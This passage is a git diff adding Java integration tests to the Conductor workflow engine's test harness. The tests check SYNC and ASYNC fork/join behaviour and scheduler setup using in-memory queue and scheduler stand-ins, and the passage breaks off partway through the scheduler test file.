    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package com.netflix.conductor.test.integration.http; + +import java.util.ArrayList; +import java.util.HashMap; +import java.util.List; +import java.util.Map; +import java.util.Optional; +import java.util.concurrent.ConcurrentHashMap; +import java.util.concurrent.LinkedBlockingDeque; +import java.util.concurrent.TimeUnit; +import java.util.stream.Collectors; + +import org.junit.Before; +import org.junit.Test; +import org.junit.runner.RunWith; +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.boot.test.context.SpringBootTest; +import org.springframework.boot.test.context.TestConfiguration; +import org.springframework.boot.test.web.server.LocalServerPort; +import org.springframework.context.annotation.Bean; +import org.springframework.http.HttpEntity; +import org.springframework.http.HttpHeaders; +import org.springframework.http.MediaType; +import org.springframework.test.context.TestPropertySource; +import org.springframework.test.context.junit4.SpringRunner; +import org.springframework.web.client.RestTemplate; + +import com.netflix.conductor.ConductorTestApp; +import com.netflix.conductor.client.http.MetadataClient; +import com.netflix.conductor.client.http.TaskClient; +import com.netflix.conductor.client.http.WorkflowClient; +import com.netflix.conductor.common.metadata.tasks.Task; +import com.netflix.conductor.common.metadata.tasks.TaskDef; +import com.netflix.conductor.common.metadata.tasks.TaskResult; +import com.netflix.conductor.common.metadata.workflow.StartWorkflowRequest; +import com.netflix.conductor.common.run.Workflow; +import com.netflix.conductor.core.events.queue.Message; +import com.netflix.conductor.core.execution.AsyncSystemTaskExecutor; +import com.netflix.conductor.core.execution.tasks.Join; +import com.netflix.conductor.dao.QueueDAO; + +import com.fasterxml.jackson.databind.ObjectMapper; + +import static org.junit.Assert.assertEquals; +import static org.junit.Assert.assertNotNull; +import static org.junit.Assert.assertTrue; +import static org.junit.Assert.fail; + +/** + * Integration tests for FORK_JOIN with joinMode: SYNC (issue #619). + * + *

    Tests verify that a JOIN task configured with joinMode=SYNC: + * + *

      + *
    • Correctly waits for all branches before completing + *
    • Completes immediately after the last branch finishes (zero evaluation offset) + *
    • Handles optional/permissive branch failures correctly + *
    • Works with nested FORK_JOIN structures + *
    • Does not break backward compatibility when joinMode is absent or set to ASYNC + *
    + * + *

    Workflow definitions are registered via raw JSON POST to avoid classpath conflicts with the + * external conductor-client JAR (which ships an older WorkflowTask without JoinMode). Task + * execution and workflow status are retrieved via the standard client library. + * + *

    An {@link InMemoryQueueDAO} is provided via {@link TestConfig} to satisfy the {@link QueueDAO} + * dependency without requiring Redis or Docker. JOIN tasks are evaluated explicitly via {@link + * AsyncSystemTaskExecutor} — matching the pattern used by the Groovy Spock integration specs. + */ +@RunWith(SpringRunner.class) +@SpringBootTest( + webEnvironment = SpringBootTest.WebEnvironment.RANDOM_PORT, + classes = ConductorTestApp.class) +@TestPropertySource(locations = "classpath:application-integrationtest.properties") +public class ForkJoinSyncModeIntegrationTest { + + // ========================================================================= + // Test configuration: in-memory QueueDAO (no Redis / Docker required) + // ========================================================================= + + @TestConfiguration + static class TestConfig { + @Bean + public QueueDAO inMemoryQueueDAO() { + return new InMemoryQueueDAO(); + } + + /** Minimal in-memory QueueDAO backed by {@link LinkedBlockingDeque} per queue name. */ + static class InMemoryQueueDAO implements QueueDAO { + + private final ConcurrentHashMap> queues = + new ConcurrentHashMap<>(); + + private LinkedBlockingDeque q(String name) { + return queues.computeIfAbsent(name, k -> new LinkedBlockingDeque<>()); + } + + @Override + public void push(String queueName, String id, long offsetTimeInSecond) { + q(queueName).addLast(id); + } + + @Override + public void push(String queueName, String id, int priority, long offsetTimeInSecond) { + q(queueName).addLast(id); + } + + @Override + public void push(String queueName, List messages) { + messages.forEach(m -> q(queueName).addLast(m.getId())); + } + + @Override + public boolean pushIfNotExists(String queueName, String id, long offsetTimeInSecond) { + LinkedBlockingDeque queue = q(queueName); + if (queue.contains(id)) return false; + queue.addLast(id); + return true; + } + + @Override + public boolean pushIfNotExists( + String queueName, String id, int priority, long offsetTimeInSecond) { + return pushIfNotExists(queueName, id, offsetTimeInSecond); + } + + @Override + public List pop(String queueName, int count, int timeout) { + LinkedBlockingDeque queue = q(queueName); + List result = new ArrayList<>(); + for (int i = 0; i < count; i++) { + String id = queue.poll(); + if (id == null) break; + result.add(id); + } + if (result.isEmpty() && timeout > 0) { + try { + String id = queue.poll(Math.min(timeout, 200), TimeUnit.MILLISECONDS); + if (id != null) result.add(id); + } catch (InterruptedException e) { + Thread.currentThread().interrupt(); + } + } + return result; + } + + @Override + public List pollMessages(String queueName, int count, int timeout) { + return pop(queueName, count, timeout).stream() + .map(id -> new Message(id, null, null)) + .collect(Collectors.toList()); + } + + @Override + public void remove(String queueName, String messageId) { + q(queueName).remove(messageId); + } + + @Override + public int getSize(String queueName) { + return q(queueName).size(); + } + + @Override + public boolean ack(String queueName, String messageId) { + return true; + } + + @Override + public boolean setUnackTimeout(String queueName, String messageId, long unackTimeout) { + return true; + } + + @Override + public void flush(String queueName) { + q(queueName).clear(); + } + + @Override + public Map queuesDetail() { + Map result = new HashMap<>(); + queues.forEach((k, v) -> result.put(k, (long) v.size())); + return result; + } + + @Override + public Map>> queuesDetailVerbose() { + return new HashMap<>(); + } + + @Override + public boolean resetOffsetTime(String queueName, String id) { + return q(queueName).contains(id); + } + + @Override + public boolean containsMessage(String queueName, String messageId) { + return q(queueName).contains(messageId); + } + } + } + + // ========================================================================= + // Spring-injected beans for direct JOIN evaluation (no background workers) + // ========================================================================= + + @Autowired private AsyncSystemTaskExecutor asyncSystemTaskExecutor; + @Autowired private Join joinSystemTask; + + // ========================================================================= + // HTTP client fields + // ========================================================================= + + private static final String OWNER_EMAIL = "test@harness.com"; + private static final long TASK_POLL_TIMEOUT_MS = 10_000; + private static final long WORKFLOW_TERMINAL_TIMEOUT_MS = 15_000; + + @LocalServerPort private int port; + + private String apiRoot; + private TaskClient taskClient; + private WorkflowClient workflowClient; + private MetadataClient metadataClient; + private RestTemplate restTemplate; + private ObjectMapper objectMapper; + + @Before + public void init() { + apiRoot = String.format("http://localhost:%d/api/", port); + taskClient = new TaskClient(); + taskClient.setRootURI(apiRoot); + workflowClient = new WorkflowClient(); + workflowClient.setRootURI(apiRoot); + metadataClient = new MetadataClient(); + metadataClient.setRootURI(apiRoot); + restTemplate = new RestTemplate(); + objectMapper = new ObjectMapper(); + } + + // ========================================================================= + // Workflow definition builder helpers (raw JSON via Map) + // + // We POST workflow definitions as raw JSON to avoid a classpath issue: + // the external conductor-client JAR ships its own WorkflowTask class that + // pre-dates JoinMode. Using raw Maps + RestTemplate bypasses that class entirely + // and lets the server deserialize joinMode correctly with its local WorkflowTask. + // ========================================================================= + + private void registerTask(String name) { + TaskDef def = new TaskDef(name, name + " (fork/join sync test)", OWNER_EMAIL, 0, 120, 120); + def.setTimeoutPolicy(TaskDef.TimeoutPolicy.TIME_OUT_WF); + metadataClient.registerTaskDefs(List.of(def)); + } + + private Map simpleTaskMap(String name, String ref) { + Map t = new HashMap<>(); + t.put("name", name); + t.put("taskReferenceName", ref); + t.put("type", "SIMPLE"); + t.put("inputParameters", Map.of()); + return t; + } + + private Map optionalTaskMap(String name, String ref) { + Map t = simpleTaskMap(name, ref); + t.put("optional", true); + return t; + } + + private Map forkTaskMap(String ref, List>> branches) { + Map t = new HashMap<>(); + t.put("name", "fork"); + t.put("taskReferenceName", ref); + t.put("type", "FORK_JOIN"); + t.put("forkTasks", branches); + return t; + } + + /** + * @param joinMode "SYNC", "ASYNC", or {@code null} to omit the field (default async) + */ + private Map joinTaskMap(String ref, List joinOn, String joinMode) { + Map t = new HashMap<>(); + t.put("name", "join"); + t.put("taskReferenceName", ref); + t.put("type", "JOIN"); + t.put("joinOn", joinOn); + if (joinMode != null) { + t.put("joinMode", joinMode); + } + return t; + } + + private void registerWorkflowDefJson( + String name, List> tasks, Map outputParameters) + throws Exception { + Map def = new HashMap<>(); + def.put("name", name); + def.put("ownerEmail", OWNER_EMAIL); + def.put("schemaVersion", 2); + def.put("tasks", tasks); + def.put("timeoutPolicy", "ALERT_ONLY"); + def.put("timeoutSeconds", 0); + if (outputParameters != null) { + def.put("outputParameters", outputParameters); + } + + String json = objectMapper.writeValueAsString(def); + HttpHeaders headers = new HttpHeaders(); + headers.setContentType(MediaType.APPLICATION_JSON); + HttpEntity entity = new HttpEntity<>(json, headers); + restTemplate.postForEntity(apiRoot + "metadata/workflow", entity, String.class); + } + + private String startWorkflow(String name) { + return workflowClient.startWorkflow( + new StartWorkflowRequest().withName(name).withInput(Map.of())); + } + + // ========================================================================= + // Task interaction helpers + // ========================================================================= + + private void completeTask(String taskType, Map output) + throws InterruptedException { + long deadline = System.currentTimeMillis() + TASK_POLL_TIMEOUT_MS; + while (System.currentTimeMillis() < deadline) { + List tasks = taskClient.batchPollTasksByTaskType(taskType, "test", 1, 200); + if (!tasks.isEmpty()) { + Task task = tasks.get(0); + task.setStatus(Task.Status.COMPLETED); + if (output != null) { + task.getOutputData().putAll(output); + } + taskClient.updateTask(new TaskResult(task)); + return; + } + Thread.sleep(50); + } + fail( + "Task '" + + taskType + + "' not available for polling within " + + TASK_POLL_TIMEOUT_MS + + "ms"); + } + + private void completeTask(String taskType) throws InterruptedException { + completeTask(taskType, Map.of()); + } + + private void failTask(String taskType) throws InterruptedException { + long deadline = System.currentTimeMillis() + TASK_POLL_TIMEOUT_MS; + while (System.currentTimeMillis() < deadline) { + List tasks = taskClient.batchPollTasksByTaskType(taskType, "test", 1, 200); + if (!tasks.isEmpty()) { + Task task = tasks.get(0); + task.setStatus(Task.Status.FAILED); + task.setReasonForIncompletion("Intentionally failed for test"); + taskClient.updateTask(new TaskResult(task)); + return; + } + Thread.sleep(50); + } + fail( + "Task '" + + taskType + + "' not available for polling within " + + TASK_POLL_TIMEOUT_MS + + "ms"); + } + + // ========================================================================= + // JOIN evaluation helper + // + // Mirrors the Groovy Spock specs: asyncSystemTaskExecutor.execute(joinTask, taskId) + // is called directly instead of relying on background system-task-worker polling. + // ========================================================================= + + /** + * Finds the JOIN task by reference name and executes it via {@link AsyncSystemTaskExecutor}. + * Returns the JOIN task after execution (fetched from the server). + */ + private Task executeJoin(String workflowId, String joinRefName) { + Workflow wf = workflowClient.getWorkflow(workflowId, true); + Optional maybeJoin = + wf.getTasks().stream() + .filter(t -> joinRefName.equals(t.getReferenceTaskName())) + .findFirst(); + assertNotNull( + "JOIN task '" + joinRefName + "' should be present in workflow", + maybeJoin.orElse(null)); + Task joinTask = maybeJoin.get(); + if (!joinTask.getStatus().isTerminal()) { + asyncSystemTaskExecutor.execute(joinSystemTask, joinTask.getTaskId()); + } + return workflowClient.getWorkflow(workflowId, true).getTasks().stream() + .filter(t -> joinRefName.equals(t.getReferenceTaskName())) + .findFirst() + .orElseThrow( + () -> + new AssertionError( + "JOIN task '" + joinRefName + "' missing after execute")); + } + + private Workflow waitForWorkflowTerminal(String workflowId, long timeoutMs) + throws InterruptedException { + long deadline = System.currentTimeMillis() + timeoutMs; + Workflow wf; + do { + Thread.sleep(100); + wf = workflowClient.getWorkflow(workflowId, true); + } while (!wf.getStatus().isTerminal() && System.currentTimeMillis() < deadline); + return wf; + } + + // ========================================================================= + // Test 1 — Basic SYNC join: 3 branches, all succeed + // ========================================================================= + + /** + * A FORK with 3 independent branches joins with joinMode=SYNC. All branches succeed. After the + * last branch completes, the JOIN evaluates to COMPLETED and the workflow advances. + */ + @Test + public void testSync_threeBranches_allSucceed() throws Exception { + registerTask("fjt1_branch_a"); + registerTask("fjt1_branch_b"); + registerTask("fjt1_branch_c"); + registerTask("fjt1_post"); + + List> tasks = new ArrayList<>(); + tasks.add( + forkTaskMap( + "fork", + List.of( + List.of(simpleTaskMap("fjt1_branch_a", "branch_a")), + List.of(simpleTaskMap("fjt1_branch_b", "branch_b")), + List.of(simpleTaskMap("fjt1_branch_c", "branch_c"))))); + tasks.add(joinTaskMap("join_ref", List.of("branch_a", "branch_b", "branch_c"), "SYNC")); + tasks.add(simpleTaskMap("fjt1_post", "post_task")); + + registerWorkflowDefJson( + "FJSync_ThreeBranches", + tasks, + Map.of( + "branchAOutput", "${join_ref.output.branch_a}", + "branchBOutput", "${join_ref.output.branch_b}", + "branchCOutput", "${join_ref.output.branch_c}")); + + String workflowId = startWorkflow("FJSync_ThreeBranches"); + assertNotNull(workflowId); + + completeTask("fjt1_branch_a", Map.of("result", "A")); + completeTask("fjt1_branch_b", Map.of("result", "B")); + completeTask("fjt1_branch_c", Map.of("result", "C")); + + Task join = executeJoin(workflowId, "join_ref"); + assertEquals( + "JOIN should COMPLETE after all 3 branches succeed", + Task.Status.COMPLETED, + join.getStatus()); + assertNotNull("JOIN output should contain branch_a", join.getOutputData().get("branch_a")); + assertNotNull("JOIN output should contain branch_b", join.getOutputData().get("branch_b")); + assertNotNull("JOIN output should contain branch_c", join.getOutputData().get("branch_c")); + + completeTask("fjt1_post"); + assertEquals( + Workflow.WorkflowStatus.COMPLETED, + waitForWorkflowTerminal(workflowId, WORKFLOW_TERMINAL_TIMEOUT_MS).getStatus()); + } + + // ========================================================================= + // Test 2 — Backward compatibility: no joinMode (implicit ASYNC) + // ========================================================================= + + @Test + public void testNoJoinMode_backwardCompatibility() throws Exception { + registerTask("fjt2_branch_a"); + registerTask("fjt2_branch_b"); + registerTask("fjt2_post"); + + List> tasks = new ArrayList<>(); + tasks.add( + forkTaskMap( + "fork", + List.of( + List.of(simpleTaskMap("fjt2_branch_a", "branch_a")), + List.of(simpleTaskMap("fjt2_branch_b", "branch_b"))))); + tasks.add(joinTaskMap("join_ref", List.of("branch_a", "branch_b"), null)); + tasks.add(simpleTaskMap("fjt2_post", "post_task")); + registerWorkflowDefJson("FJSync_NoJoinMode", tasks, null); + + String workflowId = startWorkflow("FJSync_NoJoinMode"); + assertNotNull(workflowId); + + completeTask("fjt2_branch_a"); + completeTask("fjt2_branch_b"); + + Task join = executeJoin(workflowId, "join_ref"); + assertEquals(Task.Status.COMPLETED, join.getStatus()); + + completeTask("fjt2_post"); + assertEquals( + Workflow.WorkflowStatus.COMPLETED, + waitForWorkflowTerminal(workflowId, WORKFLOW_TERMINAL_TIMEOUT_MS).getStatus()); + } + + // ========================================================================= + // Test 3 — Explicit ASYNC joinMode + // ========================================================================= + + @Test + public void testExplicitAsync_sameOutcomeAsDefault() throws Exception { + registerTask("fjt3_branch_a"); + registerTask("fjt3_branch_b"); + registerTask("fjt3_post"); + + List> tasks = new ArrayList<>(); + tasks.add( + forkTaskMap( + "fork", + List.of( + List.of(simpleTaskMap("fjt3_branch_a", "branch_a")), + List.of(simpleTaskMap("fjt3_branch_b", "branch_b"))))); + tasks.add(joinTaskMap("join_ref", List.of("branch_a", "branch_b"), "ASYNC")); + tasks.add(simpleTaskMap("fjt3_post", "post_task")); + registerWorkflowDefJson("FJSync_ExplicitAsync", tasks, null); + + String workflowId = startWorkflow("FJSync_ExplicitAsync"); + assertNotNull(workflowId); + + completeTask("fjt3_branch_a"); + completeTask("fjt3_branch_b"); + + Task join = executeJoin(workflowId, "join_ref"); + assertEquals(Task.Status.COMPLETED, join.getStatus()); + + completeTask("fjt3_post"); + assertEquals( + Workflow.WorkflowStatus.COMPLETED, + waitForWorkflowTerminal(workflowId, WORKFLOW_TERMINAL_TIMEOUT_MS).getStatus()); + } + + // ========================================================================= + // Test 4 — SYNC join: optional branch fails → workflow COMPLETES + // ========================================================================= + + @Test + public void testSync_optionalBranchFails_workflowCompletes() throws Exception { + registerTask("fjt4_branch_a"); + registerTask("fjt4_branch_opt"); + registerTask("fjt4_post"); + + List> tasks = new ArrayList<>(); + tasks.add( + forkTaskMap( + "fork", + List.of( + List.of(simpleTaskMap("fjt4_branch_a", "branch_a")), + List.of(optionalTaskMap("fjt4_branch_opt", "branch_opt"))))); + tasks.add(joinTaskMap("join_ref", List.of("branch_a", "branch_opt"), "SYNC")); + tasks.add(simpleTaskMap("fjt4_post", "post_task")); + registerWorkflowDefJson("FJSync_OptionalFail", tasks, null); + + String workflowId = startWorkflow("FJSync_OptionalFail"); + assertNotNull(workflowId); + + completeTask("fjt4_branch_a"); + failTask("fjt4_branch_opt"); + + Task join = executeJoin(workflowId, "join_ref"); + assertTrue( + "JOIN should be terminal and successful (COMPLETED or COMPLETED_WITH_ERRORS)", + join.getStatus().isTerminal() && join.getStatus().isSuccessful()); + + completeTask("fjt4_post"); + assertEquals( + "Workflow with failed optional branch should COMPLETE", + Workflow.WorkflowStatus.COMPLETED, + waitForWorkflowTerminal(workflowId, WORKFLOW_TERMINAL_TIMEOUT_MS).getStatus()); + } + + // ========================================================================= + // Test 5 — SYNC join: required branch fails → workflow FAILS + // ========================================================================= + + @Test + public void testSync_requiredBranchFails_workflowFails() throws Exception { + registerTask("fjt5_branch_a"); + registerTask("fjt5_branch_b"); + + List> tasks = new ArrayList<>(); + tasks.add( + forkTaskMap( + "fork", + List.of( + List.of(simpleTaskMap("fjt5_branch_a", "branch_a")), + List.of(simpleTaskMap("fjt5_branch_b", "branch_b"))))); + tasks.add(joinTaskMap("join_ref", List.of("branch_a", "branch_b"), "SYNC")); + registerWorkflowDefJson("FJSync_RequiredFail", tasks, null); + + String workflowId = startWorkflow("FJSync_RequiredFail"); + assertNotNull(workflowId); + + completeTask("fjt5_branch_a"); + failTask("fjt5_branch_b"); + + // Execute JOIN — it detects the required failure and itself fails, + // then decide() transitions the workflow to FAILED. + executeJoin(workflowId, "join_ref"); + + assertEquals( + "Workflow with failed required branch should FAIL", + Workflow.WorkflowStatus.FAILED, + waitForWorkflowTerminal(workflowId, WORKFLOW_TERMINAL_TIMEOUT_MS).getStatus()); + } + + // ========================================================================= + // Test 6 — SYNC join: sequential tasks within a branch + // ========================================================================= + + @Test + public void testSync_sequentialTasksInBranch() throws Exception { + registerTask("fjt6_a1"); + registerTask("fjt6_a2"); + registerTask("fjt6_b"); + registerTask("fjt6_post"); + + List> tasks = new ArrayList<>(); + tasks.add( + forkTaskMap( + "fork", + List.of( + List.of( + simpleTaskMap("fjt6_a1", "branch_a1"), + simpleTaskMap("fjt6_a2", "branch_a2")), + List.of(simpleTaskMap("fjt6_b", "branch_b"))))); + tasks.add(joinTaskMap("join_ref", List.of("branch_a2", "branch_b"), "SYNC")); + tasks.add(simpleTaskMap("fjt6_post", "post_task")); + registerWorkflowDefJson("FJSync_SequentialBranch", tasks, null); + + String workflowId = startWorkflow("FJSync_SequentialBranch"); + assertNotNull(workflowId); + + completeTask("fjt6_a1", Map.of("step", "1")); + completeTask("fjt6_a2", Map.of("step", "2")); + completeTask("fjt6_b", Map.of("step", "B")); + + Task join = executeJoin(workflowId, "join_ref"); + assertEquals(Task.Status.COMPLETED, join.getStatus()); + + completeTask("fjt6_post"); + assertEquals( + Workflow.WorkflowStatus.COMPLETED, + waitForWorkflowTerminal(workflowId, WORKFLOW_TERMINAL_TIMEOUT_MS).getStatus()); + } + + // ========================================================================= + // Test 7 — SYNC join: joinOn subset (JOIN doesn't wait for all branches) + // ========================================================================= + + @Test + public void testSync_joinOnSubset_completesWithoutWaitingForAllBranches() throws Exception { + registerTask("fjt7_monitored_a"); + registerTask("fjt7_monitored_b"); + registerTask("fjt7_unmonitored"); + registerTask("fjt7_post"); + + List> tasks = new ArrayList<>(); + tasks.add( + forkTaskMap( + "fork", + List.of( + List.of(simpleTaskMap("fjt7_monitored_a", "mon_a")), + List.of(simpleTaskMap("fjt7_monitored_b", "mon_b")), + List.of(simpleTaskMap("fjt7_unmonitored", "unmon"))))); + tasks.add(joinTaskMap("join_ref", List.of("mon_a", "mon_b"), "SYNC")); + tasks.add(simpleTaskMap("fjt7_post", "post_task")); + registerWorkflowDefJson("FJSync_JoinOnSubset", tasks, null); + + String workflowId = startWorkflow("FJSync_JoinOnSubset"); + assertNotNull(workflowId); + + completeTask("fjt7_monitored_a"); + completeTask("fjt7_monitored_b"); + // Deliberately leave fjt7_unmonitored pending + + Task join = executeJoin(workflowId, "join_ref"); + assertEquals( + "JOIN should COMPLETE without waiting for the unmonitored branch", + Task.Status.COMPLETED, + join.getStatus()); + + completeTask("fjt7_post"); + completeTask("fjt7_unmonitored"); + + assertEquals( + Workflow.WorkflowStatus.COMPLETED, + waitForWorkflowTerminal(workflowId, WORKFLOW_TERMINAL_TIMEOUT_MS).getStatus()); + } + + // ========================================================================= + // Test 8 — Nested SYNC join + // ========================================================================= + + @Test + public void testSync_nestedForkJoin() throws Exception { + registerTask("fjt8_inner_a"); + registerTask("fjt8_inner_b"); + registerTask("fjt8_outer_c"); + registerTask("fjt8_post"); + + Map innerFork = + forkTaskMap( + "inner_fork", + List.of( + List.of(simpleTaskMap("fjt8_inner_a", "inner_a")), + List.of(simpleTaskMap("fjt8_inner_b", "inner_b")))); + Map innerJoin = + joinTaskMap("inner_join", List.of("inner_a", "inner_b"), "SYNC"); + Map outerFork = + forkTaskMap( + "outer_fork", + List.of( + List.of(innerFork, innerJoin), + List.of(simpleTaskMap("fjt8_outer_c", "outer_c")))); + Map outerJoin = + joinTaskMap("outer_join", List.of("inner_join", "outer_c"), "SYNC"); + + List> tasks = new ArrayList<>(); + tasks.add(outerFork); + tasks.add(outerJoin); + tasks.add(simpleTaskMap("fjt8_post", "post_task")); + registerWorkflowDefJson("FJSync_Nested", tasks, null); + + String workflowId = startWorkflow("FJSync_Nested"); + assertNotNull(workflowId); + + completeTask("fjt8_inner_a"); + completeTask("fjt8_inner_b"); + completeTask("fjt8_outer_c"); + + Task innerJoinTask = executeJoin(workflowId, "inner_join"); + assertEquals( + "Inner JOIN should COMPLETE", Task.Status.COMPLETED, innerJoinTask.getStatus()); + + Task outerJoinTask = executeJoin(workflowId, "outer_join"); + assertEquals( + "Outer JOIN should COMPLETE", Task.Status.COMPLETED, outerJoinTask.getStatus()); + + completeTask("fjt8_post"); + assertEquals( + Workflow.WorkflowStatus.COMPLETED, + waitForWorkflowTerminal(workflowId, WORKFLOW_TERMINAL_TIMEOUT_MS).getStatus()); + } + + // ========================================================================= + // Test 9 — SYNC join: large fan-out (10 parallel branches) + // ========================================================================= + + @Test + public void testSync_largeFanOut_tenBranches() throws Exception { + int branchCount = 10; + List>> branches = new ArrayList<>(); + List joinOnRefs = new ArrayList<>(); + for (int i = 0; i < branchCount; i++) { + String taskName = "fjt9_branch_" + i; + String refName = "branch_" + i; + registerTask(taskName); + branches.add(List.of(simpleTaskMap(taskName, refName))); + joinOnRefs.add(refName); + } + registerTask("fjt9_post"); + + List> tasks = new ArrayList<>(); + tasks.add(forkTaskMap("fork", branches)); + tasks.add(joinTaskMap("join_ref", joinOnRefs, "SYNC")); + tasks.add(simpleTaskMap("fjt9_post", "post_task")); + registerWorkflowDefJson("FJSync_LargeFanOut", tasks, null); + + String workflowId = startWorkflow("FJSync_LargeFanOut"); + assertNotNull(workflowId); + + for (int i = 0; i < branchCount; i++) { + completeTask("fjt9_branch_" + i, Map.of("branch", i)); + } + + Task join = executeJoin(workflowId, "join_ref"); + assertEquals( + "JOIN should COMPLETE after all 10 branches succeed", + Task.Status.COMPLETED, + join.getStatus()); + for (int i = 0; i < branchCount; i++) { + assertNotNull( + "JOIN output should include branch_" + i, + join.getOutputData().get("branch_" + i)); + } + + completeTask("fjt9_post"); + assertEquals( + Workflow.WorkflowStatus.COMPLETED, + waitForWorkflowTerminal(workflowId, WORKFLOW_TERMINAL_TIMEOUT_MS).getStatus()); + } +} diff --git a/test-harness/src/test/java/com/netflix/conductor/test/integration/http/HttpEndToEndTestTestHarness.java b/test-harness/src/test/java/com/netflix/conductor/test/integration/http/HttpEndToEndTestTestHarness.java new file mode 100644 index 0000000..faf95ad --- /dev/null +++ b/test-harness/src/test/java/com/netflix/conductor/test/integration/http/HttpEndToEndTestTestHarness.java @@ -0,0 +1,40 @@ +/* + * Copyright 2022 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package com.netflix.conductor.test.integration.http; + +import org.junit.Before; + +import com.netflix.conductor.client.http.EventClient; +import com.netflix.conductor.client.http.MetadataClient; +import com.netflix.conductor.client.http.TaskClient; +import com.netflix.conductor.client.http.WorkflowClient; + +public class HttpEndToEndTestTestHarness extends TestHarnessAbstractHttpEndToEndTest { + + @Before + public void init() { + apiRoot = String.format("http://localhost:%d/api/", port); + + taskClient = new TaskClient(); + taskClient.setRootURI(apiRoot); + + workflowClient = new WorkflowClient(); + workflowClient.setRootURI(apiRoot); + + metadataClient = new MetadataClient(); + metadataClient.setRootURI(apiRoot); + + eventClient = new EventClient(); + eventClient.setRootURI(apiRoot); + } +} diff --git a/test-harness/src/test/java/com/netflix/conductor/test/integration/http/SchedulerIntegrationTest.java b/test-harness/src/test/java/com/netflix/conductor/test/integration/http/SchedulerIntegrationTest.java new file mode 100644 index 0000000..16dda3f --- /dev/null +++ b/test-harness/src/test/java/com/netflix/conductor/test/integration/http/SchedulerIntegrationTest.java @@ -0,0 +1,550 @@ +/* + * Copyright 2026 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package com.netflix.conductor.test.integration.http; + +import java.util.ArrayList; +import java.util.Collections; +import java.util.Comparator; +import java.util.HashMap; +import java.util.List; +import java.util.Map; +import java.util.Set; +import java.util.concurrent.ConcurrentHashMap; +import java.util.concurrent.LinkedBlockingDeque; +import java.util.concurrent.TimeUnit; +import java.util.stream.Collectors; + +import org.junit.Before; +import org.junit.Test; +import org.junit.runner.RunWith; +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.boot.autoconfigure.condition.ConditionalOnProperty; +import org.springframework.boot.test.context.SpringBootTest; +import org.springframework.boot.test.context.TestConfiguration; +import org.springframework.boot.test.web.server.LocalServerPort; +import org.springframework.context.annotation.Bean; +import org.springframework.context.annotation.Primary; +import org.springframework.http.HttpEntity; +import org.springframework.http.HttpHeaders; +import org.springframework.http.HttpMethod; +import org.springframework.http.MediaType; +import org.springframework.test.context.TestPropertySource; +import org.springframework.test.context.junit4.SpringRunner; +import org.springframework.web.client.RestTemplate; + +import com.netflix.conductor.ConductorTestApp; +import com.netflix.conductor.common.run.SearchResult; +import com.netflix.conductor.core.events.queue.Message; +import com.netflix.conductor.dao.QueueDAO; + +import com.fasterxml.jackson.databind.ObjectMapper; +import io.orkes.conductor.dao.archive.SchedulerArchivalDAO; +import io.orkes.conductor.dao.scheduler.SchedulerDAO; +import io.orkes.conductor.scheduler.model.WorkflowScheduleExecutionModel; +import io.orkes.conductor.scheduler.model.WorkflowScheduleModel; + +import static org.awaitility.Awaitility.await; +import static org.junit.Assert.*; + +/** + * Integration tests for the scheduler module — full SpringBoot context with real beans, no mocks. + * + *

    Tests cover: create schedule with multiple cron expressions, verify firing, pause (no firing), + * and resume (firing resumes). Uses an in-memory QueueDAO and SchedulerDAO so no external + * infrastructure is required. + */ +@RunWith(SpringRunner.class) +@SpringBootTest( + webEnvironment = SpringBootTest.WebEnvironment.RANDOM_PORT, + classes = ConductorTestApp.class) +@TestPropertySource( + locations = "classpath:application-integrationtest.properties", + properties = { + "conductor.scheduler.enabled=true", + "conductor.scheduler.initialDelayMs=200", + "conductor.scheduler.pollingInterval=100", + "conductor.scheduler.pollBatchSize=10", + "conductor.scheduler.maxScheduleJitterMs=10" + }) +public class SchedulerIntegrationTest { + + // ========================================================================= + // Test configuration: in-memory DAO beans (no Redis / Docker / DB required) + // ========================================================================= + + @TestConfiguration + @ConditionalOnProperty(name = "conductor.scheduler.enabled", havingValue = "true") + static class TestConfig { + + @Bean + @Primary + public QueueDAO queueDAO() { + return new SchedulerTestQueueDAO(); + } + + @Bean + @Primary + public SchedulerDAO schedulerDAO() { + return new InMemorySchedulerDAO(); + } + + @Bean + @Primary + public SchedulerArchivalDAO schedulerArchivalDAO() { + return new TrackingSchedulerArchivalDAO(); + } + } + + /** + * In-memory QueueDAO backed by {@link LinkedBlockingDeque} per queue name. Offset times are + * ignored — messages are immediately available for polling. The scheduler's "is it due" guard + * still enforces real cron timing. + */ + static class SchedulerTestQueueDAO implements QueueDAO { + + private final ConcurrentHashMap> queues = + new ConcurrentHashMap<>(); + + private LinkedBlockingDeque q(String name) { + return queues.computeIfAbsent(name, k -> new LinkedBlockingDeque<>()); + } + + @Override + public void push(String queueName, String id, long offsetTimeInSecond) { + q(queueName).addLast(id); + } + + @Override + public void push(String queueName, String id, int priority, long offsetTimeInSecond) { + q(queueName).addLast(id); + } + + @Override + public void push(String queueName, List messages) { + messages.forEach(m -> q(queueName).addLast(m.getId())); + } + + @Override + public boolean pushIfNotExists(String queueName, String id, long offsetTimeInSecond) { + LinkedBlockingDeque queue = q(queueName); + if (queue.contains(id)) return false; + queue.addLast(id); + return true; + } + + @Override + public boolean pushIfNotExists( + String queueName, String id, int priority, long offsetTimeInSecond) { + return pushIfNotExists(queueName, id, offsetTimeInSecond); + } + + @Override + public List pop(String queueName, int count, int timeout) { + LinkedBlockingDeque queue = q(queueName); + List result = new ArrayList<>(); + for (int i = 0; i < count; i++) { + String id = queue.poll(); + if (id == null) break; + result.add(id); + } + if (result.isEmpty() && timeout > 0) { + try { + String id = 